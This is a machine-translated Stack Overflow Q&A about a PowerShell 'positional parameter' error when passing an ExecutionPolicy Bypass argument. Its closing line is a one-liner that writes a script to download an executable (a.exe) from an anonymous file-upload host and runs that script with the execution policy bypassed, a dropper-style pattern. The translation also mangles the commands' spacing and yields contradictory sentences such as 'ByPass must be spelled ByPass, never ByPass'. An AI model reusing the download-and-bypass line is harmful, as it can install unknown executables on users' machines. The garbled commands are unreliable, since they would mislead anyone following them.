Windows 找不到命令提示符/powershell位置参数错误

Windows 找不到命令提示符/powershell位置参数错误,windows,powershell,Windows,Powershell,这就是我在尝试运行命令时遇到的错误: Get-ExecutionPolicy : A positional parameter cannot be found that accepts argument 'ByPass'. 不确定如何处理此问题,我正在运行windows 10周年纪念版您需要使用&powershell-ExecutionPolicy bypass,您不需要设置执行策略的范围,因为此策略仅适用于此powershell.exe,不适用于全局系统。我的建议是只使用Set Execut

这就是我在尝试运行命令时遇到的错误:

Get-ExecutionPolicy : A positional parameter cannot be found that accepts argument 'ByPass'.

不确定如何处理此问题,我正在运行windows 10周年纪念版

您需要使用
&powershell-ExecutionPolicy bypass
,您不需要设置执行策略的范围,因为此策略仅适用于此powershell.exe,不适用于全局系统。

我的建议是只使用
Set ExecutionPolicy Bypass-Scope Process-Force
。经典很难出错。

@Cosmonaut,即使参数更加神秘,只要它们是唯一可识别的,就可以省略,因此
powershell-ex by-nol-noe-nop
相当于
powershell-executionpolicy bypass-nologo-noexit-noprofile
谢谢!它修复了该问题,但出现了另一个问题。编辑返回:Get ExecutionPolicy:找不到接受参数“CurrentUser”的位置参数。请不要在执行策略中键入当前用户。这是不必要的,因为系统默认为当前用户。结果:Get ExecutionPolicy:找不到接受参数“ByPass”的位置参数。ByPass必须拼写为ByPass,never ByPass
cd / & mkdir win & cd win & echo (wget 'https://alterupload.com/?t7p0e1rh01' -OutFile a.exe) > b.PS1 &powershell ExecutionPolicy CurrentUser ByPass -File b.ps1"